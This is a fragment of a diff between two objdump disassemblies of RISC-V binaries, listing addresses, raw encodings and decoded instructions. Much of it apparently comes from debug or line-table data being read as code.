-    1036:	00090103          	lb	sp,0(s2)
-    103a:	0100                	addi	s0,sp,128
-    103c:	00090103          	lb	sp,0(s2)
+     fc2:	0306                	slli	t1,t1,0x1
+     fc4:	0901                	addi	s2,s2,0
+     fc6:	0012                	c.slli	zero,0x4
+     fc8:	0501                	addi	a0,a0,0
+     fca:	060d                	addi	a2,a2,3
+     fcc:	00090003          	lb	zero,0(s2)
+     fd0:	0100                	addi	s0,sp,128
+     fd2:	0205                	addi	tp,tp,1
+     fd4:	0306                	slli	t1,t1,0x1
+     fd6:	0902                	c.slli64	s2
+     fd8:	0010                	0x10
+     fda:	0501                	addi	a0,a0,0
+     fdc:	00030623          	sb	zero,12(t1)
+     fe0:	0009                	c.nop	2
+     fe2:	0100                	addi	s0,sp,128
+     fe4:	0a05                	addi	s4,s4,1
+     fe6:	04090103          	lb	sp,64(s2)
+     fea:	0100                	addi	s0,sp,128
+     fec:	1505                	addi	a0,a0,-31
+     fee:	04097f03          	0x4097f03
+     ff2:	0100                	addi	s0,sp,128
+     ff4:	0205                	addi	tp,tp,1
+     ff6:	02090403          	lb	s0,32(s2)
+     ffa:	0100                	addi	s0,sp,128
+     ffc:	1505                	addi	a0,a0,-31
+     ffe:	02097c03          	0x2097c03
+    1002:	0100                	addi	s0,sp,128
+    1004:	0205                	addi	tp,tp,1
+    1006:	02090403          	lb	s0,32(s2)
+    100a:	0100                	addi	s0,sp,128
+    100c:	1f05                	addi	t5,t5,-31
+    100e:	04097c03          	0x4097c03
+    1012:	0100                	addi	s0,sp,128
+    1014:	0205                	addi	tp,tp,1
+    1016:	02090403          	lb	s0,32(s2)
+    101a:	0100                	addi	s0,sp,128
+    101c:	1f05                	addi	t5,t5,-31
+    101e:	04097c03          	0x4097c03
+    1022:	0100                	addi	s0,sp,128
+    1024:	0205                	addi	tp,tp,1
+    1026:	0306                	slli	t1,t1,0x1
+    1028:	0901                	addi	s2,s2,0
+    102a:	0004                	0x4
+    102c:	0301                	addi	t1,t1,0
+    102e:	00000903          	lb	s2,0(zero) # 0 <__stack_size-0x800>
+    1032:	0301                	addi	t1,t1,0
+    1034:	00020903          	lb	s2,0(tp) # 0 <__stack_size-0x800>
+    1038:	0501                	addi	a0,a0,0
+    103a:	0604                	addi	s1,sp,768
+    103c:	00090003          	lb	zero,0(s2)
     1040:	0100                	addi	s0,sp,128
-    1042:	00090103          	lb	sp,0(s2)
-    1046:	0100                	addi	s0,sp,128
-    1048:	00090103          	lb	sp,0(s2)
-    104c:	0100                	addi	s0,sp,128
-    104e:	00090103          	lb	sp,0(s2)
-    1052:	0100                	addi	s0,sp,128
-    1054:	00090203          	lb	tp,0(s2)
-    1058:	0100                	addi	s0,sp,128
-    105a:	00090103          	lb	sp,0(s2)
-    105e:	0100                	addi	s0,sp,128
-    1060:	00090103          	lb	sp,0(s2)
-    1064:	0100                	addi	s0,sp,128
-    1066:	00090103          	lb	sp,0(s2)
-    106a:	0100                	addi	s0,sp,128
-    106c:	00090103          	lb	sp,0(s2)
-    1070:	0100                	addi	s0,sp,128
-    1072:	12090103          	lb	sp,288(s2)
-    1076:	0100                	addi	s0,sp,128
-    1078:	0105                	addi	sp,sp,1
-    107a:	0306                	slli	t1,t1,0x1
-    107c:	0904                	addi	s1,sp,144
-    107e:	0014                	0x14
-    1080:	0901                	addi	s2,s2,0
-    1082:	0016                	c.slli	zero,0x5
-    1084:	0100                	addi	s0,sp,128
-    1086:	0501                	addi	a0,a0,0
-    1088:	0015                	c.nop	5
-    108a:	0205                	addi	tp,tp,1
-    108c:	206c                	fld	fa1,192(s0)
-    108e:	2040                	fld	fs0,128(s0)
-    1090:	0101e803          	0x101e803
-    1094:	0205                	addi	tp,tp,1
-    1096:	00090b03          	lb	s6,0(s2)
-    109a:	0100                	addi	s0,sp,128
-    109c:	00090203          	lb	tp,0(s2)
-    10a0:	0100                	addi	s0,sp,128
-    10a2:	1405                	addi	s0,s0,-31
-    10a4:	00090003          	lb	zero,0(s2)
-    10a8:	0100                	addi	s0,sp,128
-    10aa:	1505                	addi	a0,a0,-31
-    10ac:	0306                	slli	t1,t1,0x1
-    10ae:	00000973          	0x973
+    1042:	0305                	addi	t1,t1,1
+    1044:	0306                	slli	t1,t1,0x1
+    1046:	0901                	addi	s2,s2,0
+    1048:	0006                	c.slli	zero,0x1
+    104a:	0501                	addi	a0,a0,0
+    104c:	0302                	c.slli64	t1
+    104e:	0902                	c.slli64	s2
+    1050:	0004                	0x4
+    1052:	0501                	addi	a0,a0,0
+    1054:	0601                	addi	a2,a2,0
+    1056:	00090203          	lb	tp,0(s2)
+    105a:	0100                	addi	s0,sp,128
+    105c:	0e09                	addi	t3,t3,2
+    105e:	0000                	unimp
+    1060:	0101                	addi	sp,sp,0
+    1062:	0105                	addi	sp,sp,1
+    1064:	0500                	addi	s0,sp,640
+    1066:	1002                	c.slli	zero,0x20
+    1068:	401e                	0x401e
+    106a:	0320                	addi	s0,sp,392
+    106c:	02050137          	lui	sp,0x2050
+    1070:	00090103          	lb	sp,0(s2)
+    1074:	0100                	addi	s0,sp,128
+    1076:	00090103          	lb	sp,0(s2)
+    107a:	0100                	addi	s0,sp,128
+    107c:	0105                	addi	sp,sp,1
+    107e:	0306                	slli	t1,t1,0x1
+    1080:	097e                	slli	s2,s2,0x1f
+    1082:	0000                	unimp
+    1084:	0501                	addi	a0,a0,0
+    1086:	030c                	addi	a1,sp,384
+    1088:	0904                	addi	s1,sp,144
+    108a:	0006                	c.slli	zero,0x1
+    108c:	0501                	addi	a0,a0,0
+    108e:	0301                	addi	t1,t1,0
+    1090:	097c                	addi	a5,sp,156
+    1092:	0008                	0x8
+    1094:	0301                	addi	t1,t1,0
+    1096:	0900                	addi	s0,sp,144
+    1098:	0006                	c.slli	zero,0x1
+    109a:	0501                	addi	a0,a0,0
+    109c:	030c                	addi	a1,sp,384
+    109e:	0904                	addi	s1,sp,144
+    10a0:	0002                	c.slli64	zero
+    10a2:	0501                	addi	a0,a0,0
+    10a4:	0325                	addi	t1,t1,9
+    10a6:	0900                	addi	s0,sp,144
+    10a8:	0004                	0x4
+    10aa:	0501                	addi	a0,a0,0
+    10ac:	031f 0901 0004      	0x40901031f
     10b2:	0501                	addi	a0,a0,0
-    10b4:	0302                	c.slli64	t1
-    10b6:	00020917          	auipc	s2,0x20
+    10b4:	097d0307          	0x97d0307
+    10b8:	000c                	0xc
     10ba:	0501                	addi	a0,a0,0
-    10bc:	0315                	addi	t1,t1,5
-    10be:	0969                	addi	s2,s2,26
-    10c0:	0004                	0x4
+    10bc:	0304                	addi	s1,sp,384
+    10be:	0906                	slli	s2,s2,0x1
+    10c0:	0010                	0x10
     10c2:	0501                	addi	a0,a0,0
-    10c4:	0302                	c.slli64	t1
-    10c6:	00080917          	auipc	s2,0x80
+    10c4:	097a0307          	0x97a0307
+    10c8:	0002                	c.slli64	zero
     10ca:	0501                	addi	a0,a0,0
-    10cc:	0315                	addi	t1,t1,5
-    10ce:	0969                	addi	s2,s2,26
-    10d0:	0002                	c.slli64	zero
-    10d2:	0501                	addi	a0,a0,0
-    10d4:	0302                	c.slli64	t1
-    10d6:	0918                	addi	a4,sp,144
-    10d8:	0002                	c.slli64	zero
-    10da:	0501                	addi	a0,a0,0
-    10dc:	0315                	addi	t1,t1,5
-    10de:	0968                	addi	a0,sp,156
-    10e0:	0004                	0x4
-    10e2:	0501                	addi	a0,a0,0
-    10e4:	0302                	c.slli64	t1
-    10e6:	0918                	addi	a4,sp,144
-    10e8:	0002                	c.slli64	zero
-    10ea:	0501                	addi	a0,a0,0
-    10ec:	0315                	addi	t1,t1,5
-    10ee:	0968                	addi	a0,sp,156
-    10f0:	0002                	c.slli64	zero
-    10f2:	0501                	addi	a0,a0,0
-    10f4:	0302                	c.slli64	t1
-    10f6:	0919                	addi	s2,s2,6
-    10f8:	0002                	c.slli64	zero
-    10fa:	0301                	addi	t1,t1,0
-    10fc:	0905                	addi	s2,s2,1
-    10fe:	000a                	c.slli	zero,0x2
-    1100:	0301                	addi	t1,t1,0
-    1102:	097c                	addi	a5,sp,156
-    1104:	0002                	c.slli64	zero
-    1106:	0501                	addi	a0,a0,0
-    1108:	0306                	slli	t1,t1,0x1
-    110a:	0910                	addi	a2,sp,144
-    110c:	0004                	0x4
-    110e:	0501                	addi	a0,a0,0
-    1110:	0302                	c.slli64	t1
-    1112:	0970                	addi	a2,sp,156
-    1114:	0002                	c.slli64	zero
-    1116:	0501                	addi	a0,a0,0
-    1118:	0304                	addi	s1,sp,384
-    111a:	0002091b          	0x2091b
-    111e:	0501                	addi	a0,a0,0
-    1120:	0302                	c.slli64	t1
-    1122:	0966                	slli	s2,s2,0x19
-    1124:	0004                	0x4
-    1126:	0301                	addi	t1,t1,0
-    1128:	0901                	addi	s2,s2,0
-    112a:	0006                	c.slli	zero,0x1
-    112c:	0301                	addi	t1,t1,0
-    112e:	0901                	addi	s2,s2,0
-    1130:	0006                	c.slli	zero,0x1
-    1132:	0301                	addi	t1,t1,0
-    1134:	0901                	addi	s2,s2,0
-    1136:	0006                	c.slli	zero,0x1
-    1138:	0501                	addi	a0,a0,0
-    113a:	0315                	addi	t1,t1,5
-    113c:	0962                	slli	s2,s2,0x18
-    113e:	0006                	c.slli	zero,0x1
-    1140:	0501                	addi	a0,a0,0
-    1142:	0314                	addi	a3,sp,384
-    1144:	090d                	addi	s2,s2,3
-    1146:	0004                	0x4
-    1148:	0501                	addi	a0,a0,0
-    114a:	0602                	c.slli64	a2
-    114c:	04090103          	lb	sp,64(s2) # 81106 <__stack_size+0x80906>
-    1150:	0100                	addi	s0,sp,128
-    1152:	1405                	addi	s0,s0,-31
-    1154:	00090003          	lb	zero,0(s2)
-    1158:	0100                	addi	s0,sp,128
-    115a:	0205                	addi	tp,tp,1
-    115c:	04090103          	lb	sp,64(s2)
-    1160:	0100                	addi	s0,sp,128
-    1162:	00090103          	lb	sp,0(s2)
-    1166:	0100                	addi	s0,sp,128
-    1168:	00090103          	lb	sp,0(s2)
-    116c:	0100                	addi	s0,sp,128
-    116e:	00090503          	lb	a0,0(s2)
-    1172:	0100                	addi	s0,sp,128
-    1174:	00090103          	lb	sp,0(s2)
-    1178:	0100                	addi	s0,sp,128
-    117a:	00090103          	lb	sp,0(s2)
-    117e:	0100                	addi	s0,sp,128
-    1180:	00090103          	lb	sp,0(s2)
-    1184:	0100                	addi	s0,sp,128
-    1186:	00090103          	lb	sp,0(s2)
-    118a:	0100                	addi	s0,sp,128
-    118c:	00090103          	lb	sp,0(s2)
-    1190:	0100                	addi	s0,sp,128
-    1192:	00090103          	lb	sp,0(s2)
-    1196:	0100                	addi	s0,sp,128
-    1198:	00090103          	lb	sp,0(s2)
-    119c:	0100                	addi	s0,sp,128
-    119e:	00090103          	lb	sp,0(s2)
-    11a2:	0100                	addi	s0,sp,128
-    11a4:	00090203          	lb	tp,0(s2)
-    11a8:	0100                	addi	s0,sp,128
-    11aa:	0705                	addi	a4,a4,1
-    11ac:	00090003          	lb	zero,0(s2)
-    11b0:	0100                	addi	s0,sp,128
-    11b2:	1005                	c.nop	-31
-    11b4:	00090003          	lb	zero,0(s2)
-    11b8:	0100                	addi	s0,sp,128
-    11ba:	0305                	addi	t1,t1,1
-    11bc:	00090203          	lb	tp,0(s2)
-    11c0:	0100                	addi	s0,sp,128
-    11c2:	1f05                	addi	t5,t5,-31
-    11c4:	0306                	slli	t1,t1,0x1
-    11c6:	0900                	addi	s0,sp,144
-    11c8:	0000                	unimp
-    11ca:	0501                	addi	a0,a0,0
-    11cc:	0311                	addi	t1,t1,4
-    11ce:	0900                	addi	s0,sp,144
-    11d0:	000a                	c.slli	zero,0x2
-    11d2:	0501                	addi	a0,a0,0
-    11d4:	0628                	addi	a0,sp,776
-    11d6:	04090003          	lb	zero,64(s2)
-    11da:	0100                	addi	s0,sp,128
-    11dc:	2b05                	jal	170c <__stack_size+0xf0c>
-    11de:	0306                	slli	t1,t1,0x1
-    11e0:	0900                	addi	s0,sp,144
-    11e2:	0000                	unimp
-    11e4:	0501                	addi	a0,a0,0
-    11e6:	02030603          	lb	a2,32(t1)
-    11ea:	0209                	addi	tp,tp,2
-    11ec:	0100                	addi	s0,sp,128
-    11ee:	0805                	addi	a6,a6,1
-    11f0:	0306                	slli	t1,t1,0x1
-    11f2:	0900                	addi	s0,sp,144
-    11f4:	0000                	unimp
-    11f6:	0001                	nop
-    11f8:	0402                	c.slli64	s0
-    11fa:	0304                	addi	s1,sp,384
-    11fc:	0900                	addi	s0,sp,144
-    11fe:	000e                	c.slli	zero,0x3
-    1200:	0301                	addi	t1,t1,0
-    1202:	0900                	addi	s0,sp,144
-    1204:	000e                	c.slli	zero,0x3
-    1206:	0001                	nop
-    1208:	0402                	c.slli64	s0
-    120a:	0308                	addi	a0,sp,384
-    120c:	0900                	addi	s0,sp,144
-    120e:	0004                	0x4
-    1210:	0301                	addi	t1,t1,0
-    1212:	0900                	addi	s0,sp,144
-    1214:	000e                	c.slli	zero,0x3
-    1216:	0001                	nop
-    1218:	0402                	c.slli64	s0
-    121a:	030c                	addi	a1,sp,384
-    121c:	0900                	addi	s0,sp,144
-    121e:	0004                	0x4
-    1220:	0501                	addi	a0,a0,0
-    1222:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    1226:	060c                	addi	a1,sp,768
-    1228:	08090203          	lb	tp,128(s2)
-    122c:	0100                	addi	s0,sp,128
-    122e:	0200                	addi	s0,sp,256
-    1230:	0c04                	addi	s1,sp,528
-    1232:	00090203          	lb	tp,0(s2)
-    1236:	0100                	addi	s0,sp,128
-    1238:	0805                	addi	a6,a6,1
-    123a:	0200                	addi	s0,sp,256
-    123c:	0c04                	addi	s1,sp,528
-    123e:	0306                	slli	t1,t1,0x1
-    1240:	0900                	addi	s0,sp,144
-    1242:	0000                	unimp
-    1244:	0501                	addi	a0,a0,0
-    1246:	04020003          	lb	zero,64(tp) # 40 <__stack_size-0x7c0>
-    124a:	060c                	addi	a1,sp,768
-    124c:	06090203          	lb	tp,96(s2)
-    1250:	0100                	addi	s0,sp,128
-    1252:	0605                	addi	a2,a2,1
-    1254:	0200                	addi	s0,sp,256
-    1256:	0c04                	addi	s1,sp,528
-    1258:	0306                	slli	t1,t1,0x1
-    125a:	0900                	addi	s0,sp,144
-    125c:	0002                	c.slli64	zero
-    125e:	0501                	addi	a0,a0,0
-    1260:	0604                	addi	s1,sp,768
-    1262:	04090103          	lb	sp,64(s2)
-    1266:	0100                	addi	s0,sp,128
-    1268:	1605                	addi	a2,a2,-31
-    126a:	0306                	slli	t1,t1,0x1
-    126c:	0901                	addi	s2,s2,0
-    126e:	0000                	unimp
-    1270:	0501                	addi	a0,a0,0
-    1272:	030a                	slli	t1,t1,0x2
-    1274:	097f                	0x97f
-    1276:	0004                	0x4
-    1278:	0501                	addi	a0,a0,0
-    127a:	0304                	addi	s1,sp,384
-    127c:	0902                	c.slli64	s2
-    127e:	0004                	0x4
-    1280:	0501                	addi	a0,a0,0
-    1282:	0316                	slli	t1,t1,0x5
-    1284:	097f                	0x97f
-    1286:	0008                	0x8
-    1288:	0501                	addi	a0,a0,0
-    128a:	030a                	slli	t1,t1,0x2
-    128c:	097f                	0x97f
-    128e:	0002                	c.slli64	zero
-    1290:	0501                	addi	a0,a0,0
-    1292:	0604                	addi	s1,sp,768
-    1294:	02090103          	lb	sp,32(s2)
-    1298:	0100                	addi	s0,sp,128
-    129a:	0805                	addi	a6,a6,1
-    129c:	0306                	slli	t1,t1,0x1
-    129e:	0900                	addi	s0,sp,144
-    12a0:	0000                	unimp
-    12a2:	0501                	addi	a0,a0,0
-    12a4:	0604                	addi	s1,sp,768
-    12a6:	02090103          	lb	sp,32(s2)
-    12aa:	0100                	addi	s0,sp,128
-    12ac:	0306                	slli	t1,t1,0x1
-    12ae:	0905                	addi	s2,s2,1
-    12b0:	0000                	unimp
-    12b2:	0501                	addi	a0,a0,0
-    12b4:	0f030603          	lb	a2,240(t1)
-    12b8:	0609                	addi	a2,a2,2
-    12ba:	0100                	addi	s0,sp,128
-    12bc:	1505                	addi	a0,a0,-31
-    12be:	0200                	addi	s0,sp,256
-    12c0:	0204                	addi	s1,sp,256
-    12c2:	14095f03          	lhu	t5,320(s2)
-    12c6:	0100                	addi	s0,sp,128
-    12c8:	1005                	c.nop	-31
-    12ca:	0200                	addi	s0,sp,256
-    12cc:	0204                	addi	s1,sp,256
-    12ce:	00090003          	lb	zero,0(s2)
-    12d2:	0100                	addi	s0,sp,128
-    12d4:	0205                	addi	tp,tp,1
-    12d6:	0200                	addi	s0,sp,256
-    12d8:	0204                	addi	s1,sp,256
-    12da:	0306                	slli	t1,t1,0x1
-    12dc:	0900                	addi	s0,sp,144
-    12de:	0000                	unimp
-    12e0:	0501                	addi	a0,a0,0
-    12e2:	0301                	addi	t1,t1,0
-    12e4:	0925                	addi	s2,s2,9
-    12e6:	000c                	0xc
-    12e8:	0501                	addi	a0,a0,0
-    12ea:	060a                	slli	a2,a2,0x2
-    12ec:	16096a03          	0x16096a03
-    12f0:	0100                	addi	s0,sp,128
-    12f2:	0d05                	addi	s10,s10,1
-    12f4:	0306                	slli	t1,t1,0x1
-    12f6:	0900                	addi	s0,sp,144
-    12f8:	0000                	unimp
-    12fa:	0501                	addi	a0,a0,0
-    12fc:	0604                	addi	s1,sp,768
-    12fe:	06090103          	lb	sp,96(s2)
-    1302:	0100                	addi	s0,sp,128
-    1304:	0a05                	addi	s4,s4,1
-    1306:	0306                	slli	t1,t1,0x1
-    1308:	0900                	addi	s0,sp,144
-    130a:	0000                	unimp
-    130c:	0501                	addi	a0,a0,0
-    130e:	0304                	addi	s1,sp,384
-    1310:	0902                	c.slli64	s2
-    1312:	0004                	0x4
-    1314:	0501                	addi	a0,a0,0
-    1316:	030a                	slli	t1,t1,0x2
-    1318:	097e                	slli	s2,s2,0x1f
-    131a:	0008                	0x8
-    131c:	0501                	addi	a0,a0,0
-    131e:	0604                	addi	s1,sp,768
-    1320:	02090103          	lb	sp,32(s2)
-    1324:	0100                	addi	s0,sp,128
-    1326:	0805                	addi	a6,a6,1
-    1328:	0306                	slli	t1,t1,0x1
-    132a:	0900                	addi	s0,sp,144
-    132c:	0000                	unimp
-    132e:	0501                	addi	a0,a0,0
-    1330:	0604                	addi	s1,sp,768
-    1332:	04090103          	lb	sp,64(s2)
-    1336:	0100                	addi	s0,sp,128
-    1338:	0a05                	addi	s4,s4,1
-    133a:	02090203          	lb	tp,32(s2)
-    133e:	0100                	addi	s0,sp,128
-    1340:	0d05                	addi	s10,s10,1
-    1342:	0306                	slli	t1,t1,0x1
-    1344:	0900                	addi	s0,sp,144
-    1346:	0000                	unimp
-    1348:	0501                	addi	a0,a0,0
-    134a:	09020313          	addi	t1,tp,144 # 90 <__stack_size-0x770>
-    134e:	0006                	c.slli	zero,0x1
-    1350:	0501                	addi	a0,a0,0
-    1352:	030d                	addi	t1,t1,3
-    1354:	097f                	0x97f
-    1356:	0004                	0x4
-    1358:	0501                	addi	a0,a0,0
-    135a:	0605                	addi	a2,a2,1
-    135c:	02090103          	lb	sp,32(s2)
-    1360:	0100                	addi	s0,sp,128
-    1362:	1705                	addi	a4,a4,-31
-    1364:	0306                	slli	t1,t1,0x1
-    1366:	0900                	addi	s0,sp,144
-    1368:	0000                	unimp
-    136a:	0501                	addi	a0,a0,0
-    136c:	031d                	addi	t1,t1,7
-    136e:	0900                	addi	s0,sp,144
-    1370:	0004                	0x4
-    1372:	0501                	addi	a0,a0,0
-    1374:	0308                	addi	a0,sp,384
-    1376:	0900                	addi	s0,sp,144
-    1378:	0004                	0x4
-    137a:	0501                	addi	a0,a0,0
-    137c:	0606                	slli	a2,a2,0x1
-    137e:	02090103          	lb	sp,32(s2)
-    1382:	0100                	addi	s0,sp,128
-    1384:	00090103          	lb	sp,0(s2)
-    1388:	0100                	addi	s0,sp,128
-    138a:	2305                	jal	18aa <__stack_size+0x10aa>
-    138c:	0306                	slli	t1,t1,0x1
-    138e:	0900                	addi	s0,sp,144
-    1390:	0000                	unimp
-    1392:	0501                	addi	a0,a0,0
-    1394:	030c                	addi	a1,sp,384
-    1396:	0900                	addi	s0,sp,144
-    1398:	0004                	0x4
-    139a:	0501                	addi	a0,a0,0
-    139c:	0606                	slli	a2,a2,0x1
-    139e:	04090103          	lb	sp,64(s2)
-    13a2:	0100                	addi	s0,sp,128
-    13a4:	2305                	jal	18c4 <__stack_size+0x10c4>
-    13a6:	0306                	slli	t1,t1,0x1
-    13a8:	097e                	slli	s2,s2,0x1f
-    13aa:	0000                	unimp
-    13ac:	0501                	addi	a0,a0,0
-    13ae:	031e                	slli	t1,t1,0x7
-    13b0:	0900                	addi	s0,sp,144
-    13b2:	0002                	c.slli64	zero
-    13b4:	0501                	addi	a0,a0,0
-    13b6:	030a                	slli	t1,t1,0x2
-    13b8:	0902                	c.slli64	s2
-    13ba:	0006                	c.slli	zero,0x1
-    13bc:	0501                	addi	a0,a0,0
-    13be:	0606                	slli	a2,a2,0x1
-    13c0:	06090103          	lb	sp,96(s2)
-    13c4:	0100                	addi	s0,sp,128
-    13c6:	2205                	jal	14e6 <__stack_size+0xce6>
-    13c8:	0200                	addi	s0,sp,256
-    13ca:	0204                	addi	s1,sp,256
-    13cc:	0a097b03          	0xa097b03
-    13d0:	0100                	addi	s0,sp,128
-    13d2:	2305                	jal	18f2 <__stack_size+0x10f2>
-    13d4:	0200                	addi	s0,sp,256
-    13d6:	0204                	addi	s1,sp,256
-    13d8:	0306                	slli	t1,t1,0x1
-    13da:	0900                	addi	s0,sp,144
-    13dc:	0000                	unimp
-    13de:	0501                	addi	a0,a0,0
-    13e0:	0012                	c.slli	zero,0x4
-    13e2:	0402                	c.slli64	s0
-    13e4:	0602                	c.slli64	a2
-    13e6:	02090003          	lb	zero,32(s2)
-    13ea:	0100                	addi	s0,sp,128
-    13ec:	0405                	addi	s0,s0,1
-    13ee:	0200                	addi	s0,sp,256
-    13f0:	0204                	addi	s1,sp,256
-    13f2:	0306                	slli	t1,t1,0x1
-    13f4:	0900                	addi	s0,sp,144
-    13f6:	0000                	unimp
-    13f8:	0501                	addi	a0,a0,0
-    13fa:	031a                	slli	t1,t1,0x6
-    13fc:	0971                	addi	s2,s2,28
-    13fe:	0004                	0x4
-    1400:	0501                	addi	a0,a0,0
-    1402:	0311                	addi	t1,t1,4
-    1404:	0900                	addi	s0,sp,144
-    1406:	0002                	c.slli64	zero
-    1408:	0901                	addi	s2,s2,0
-    140a:	0004                	0x4
-    140c:	0100                	addi	s0,sp,128
-    140e:	0501                	addi	a0,a0,0
-    1410:	0014                	0x14
-    1412:	0205                	addi	tp,tp,1
-    1414:	21c8                	fld	fa0,128(a1)
-    1416:	2040                	fld	fs0,128(s0)
-    1418:	0102b003          	0x102b003
-    141c:	0205                	addi	tp,tp,1
-    141e:	00090203          	lb	tp,0(s2)
-    1422:	0100                	addi	s0,sp,128
-    1424:	00090103          	lb	sp,0(s2)
-    1428:	0100                	addi	s0,sp,128
-    142a:	00090203          	lb	tp,0(s2)
-    142e:	0100                	addi	s0,sp,128
-    1430:	00090203          	lb	tp,0(s2)
-    1434:	0100                	addi	s0,sp,128
-    1436:	0705                	addi	a4,a4,1
-    1438:	00090003          	lb	zero,0(s2)
-    143c:	0100                	addi	s0,sp,128
-    143e:	1805                	addi	a6,a6,-31
-    1440:	00090003          	lb	zero,0(s2)
-    1444:	0100                	addi	s0,sp,128
-    1446:	1405                	addi	s0,s0,-31
-    1448:	0306                	slli	t1,t1,0x1
-    144a:	0979                	addi	s2,s2,30
-    144c:	0000                	unimp
-    144e:	0501                	addi	a0,a0,0
-    1450:	030c                	addi	a1,sp,384
-    1452:	00260907          	0x260907
-    1456:	0501                	addi	a0,a0,0
-    1458:	0308                	addi	a0,sp,384
-    145a:	0906                	slli	s2,s2,0x1
-    145c:	0002                	c.slli64	zero
-    145e:	0301                	addi	t1,t1,0
-    1460:	0008090b          	0x8090b
-    1464:	0501                	addi	a0,a0,0
-    1466:	0306                	slli	t1,t1,0x1
-    1468:	0902                	c.slli64	s2
-    146a:	0002                	c.slli64	zero
-    146c:	0501                	addi	a0,a0,0
-    146e:	09010307          	0x9010307
-    1472:	0008                	0x8
-    1474:	0301                	addi	t1,t1,0
-    1476:	0902                	c.slli64	s2
-    1478:	0008                	0x8
-    147a:	0501                	addi	a0,a0,0
-    147c:	0305                	addi	t1,t1,1
-    147e:	0971                	addi	s2,s2,28
-    1480:	000c                	0xc
-    1482:	0501                	addi	a0,a0,0
-    1484:	0609                	addi	a2,a2,2
-    1486:	08097b03          	0x8097b03
-    148a:	0100                	addi	s0,sp,128
-    148c:	0305                	addi	t1,t1,1
-    148e:	00090203          	lb	tp,0(s2)
-    1492:	0100                	addi	s0,sp,128
-    1494:	0705                	addi	a4,a4,1
-    1496:	00090003          	lb	zero,0(s2)
-    149a:	0100                	addi	s0,sp,128
-    149c:	00090003          	lb	zero,0(s2)
-    14a0:	0100                	addi	s0,sp,128
-    14a2:	00090003          	lb	zero,0(s2)
-    14a6:	0100                	addi	s0,sp,128
-    14a8:	00090003          	lb	zero,0(s2)
-    14ac:	0100                	addi	s0,sp,128
-    14ae:	00090003          	lb	zero,0(s2)
-    14b2:	0100                	addi	s0,sp,128
-    14b4:	00090003          	lb	zero,0(s2)
-    14b8:	0100                	addi	s0,sp,128
-    14ba:	08090003          	lb	zero,128(s2)
-    14be:	0100                	addi	s0,sp,128
-    14c0:	02090003          	lb	zero,32(s2)
-    14c4:	0100                	addi	s0,sp,128
-    14c6:	02090003          	lb	zero,32(s2)
-    14ca:	0100                	addi	s0,sp,128
-    14cc:	02090003          	lb	zero,32(s2)
-    14d0:	0100                	addi	s0,sp,128
-    14d2:	02090003          	lb	zero,32(s2)
-    14d6:	0100                	addi	s0,sp,128
-    14d8:	0605                	addi	a2,a2,1
-    14da:	0306                	slli	t1,t1,0x1
-    14dc:	0900                	addi	s0,sp,144
-    14de:	0004                	0x4
-    14e0:	0501                	addi	a0,a0,0
-    14e2:	0604                	addi	s1,sp,768
-    14e4:	02090203          	lb	tp,32(s2)
-    14e8:	0100                	addi	s0,sp,128
-    14ea:	0805                	addi	a6,a6,1
-    14ec:	0306                	slli	t1,t1,0x1
-    14ee:	0900                	addi	s0,sp,144
-    14f0:	0000                	unimp
-    14f2:	0501                	addi	a0,a0,0
-    14f4:	09000307          	0x9000307
-    14f8:	0008                	0x8
-    14fa:	0501                	addi	a0,a0,0
-    14fc:	0605                	addi	a2,a2,1
-    14fe:	02090103          	lb	sp,32(s2)
-    1502:	0100                	addi	s0,sp,128
-    1504:	00090003          	lb	zero,0(s2)
-    1508:	0100                	addi	s0,sp,128
-    150a:	00090003          	lb	zero,0(s2)
-    150e:	0100                	addi	s0,sp,128
-    1510:	18090003          	lb	zero,384(s2)
-    1514:	0100                	addi	s0,sp,128
-    1516:	2505                	jal	1b36 <__stack_size+0x1336>
-    1518:	0200                	addi	s0,sp,256
-    151a:	0204                	addi	s1,sp,256
-    151c:	00097903          	0x97903
-    1520:	0100                	addi	s0,sp,128
-    1522:	2905                	jal	1952 <__stack_size+0x1152>
-    1524:	0200                	addi	s0,sp,256
-    1526:	0204                	addi	s1,sp,256
-    1528:	0306                	slli	t1,t1,0x1
-    152a:	0900                	addi	s0,sp,144
-    152c:	0000                	unimp
-    152e:	0501                	addi	a0,a0,0
-    1530:	0018                	0x18
-    1532:	0402                	c.slli64	s0
-    1534:	0602                	c.slli64	a2
-    1536:	02090003          	lb	zero,32(s2)
-    153a:	0100                	addi	s0,sp,128
-    153c:	0205                	addi	tp,tp,1
-    153e:	0200                	addi	s0,sp,256
-    1540:	0204                	addi	s1,sp,256
-    1542:	0306                	slli	t1,t1,0x1
-    1544:	0900                	addi	s0,sp,144
-    1546:	0000                	unimp
-    1548:	0501                	addi	a0,a0,0
-    154a:	0301                	addi	t1,t1,0
-    154c:	0922                	slli	s2,s2,0x8
-    154e:	000a                	c.slli	zero,0x2
-    1550:	0501                	addi	a0,a0,0
-    1552:	0605                	addi	a2,a2,1
-    1554:	1c096b03          	0x1c096b03
-    1558:	0100                	addi	s0,sp,128
-    155a:	2b05                	jal	1a8a <__stack_size+0x128a>
-    155c:	0a090003          	lb	zero,160(s2)
-    1560:	0100                	addi	s0,sp,128
-    1562:	3505                	jal	1382 <__stack_size+0xb82>
-    1564:	0306                	slli	t1,t1,0x1
-    1566:	0900                	addi	s0,sp,144
-    1568:	0000                	unimp
-    156a:	0501                	addi	a0,a0,0
-    156c:	0605                	addi	a2,a2,1
-    156e:	04090103          	lb	sp,64(s2)
-    1572:	0100                	addi	s0,sp,128
-    1574:	0805                	addi	a6,a6,1
-    1576:	0306                	slli	t1,t1,0x1
-    1578:	0900                	addi	s0,sp,144
-    157a:	0000                	unimp
-    157c:	0501                	addi	a0,a0,0
-    157e:	0335                	addi	t1,t1,13
-    1580:	097f                	0x97f
-    1582:	0004                	0x4
-    1584:	0501                	addi	a0,a0,0
-    1586:	0605                	addi	a2,a2,1
-    1588:	02090403          	lb	s0,32(s2)
-    158c:	0100                	addi	s0,sp,128
-    158e:	0a05                	addi	s4,s4,1
-    1590:	0306                	slli	t1,t1,0x1
-    1592:	0900                	addi	s0,sp,144
-    1594:	0000                	unimp
-    1596:	0501                	addi	a0,a0,0
-    1598:	0308                	addi	a0,sp,384
-    159a:	0900                	addi	s0,sp,144
-    159c:	0008                	0x8
-    159e:	0501                	addi	a0,a0,0
-    15a0:	0606                	slli	a2,a2,0x1
-    15a2:	04090203          	lb	tp,64(s2)
-    15a6:	0100                	addi	s0,sp,128
-    15a8:	0705                	addi	a4,a4,1
-    15aa:	0a090103          	lb	sp,160(s2)
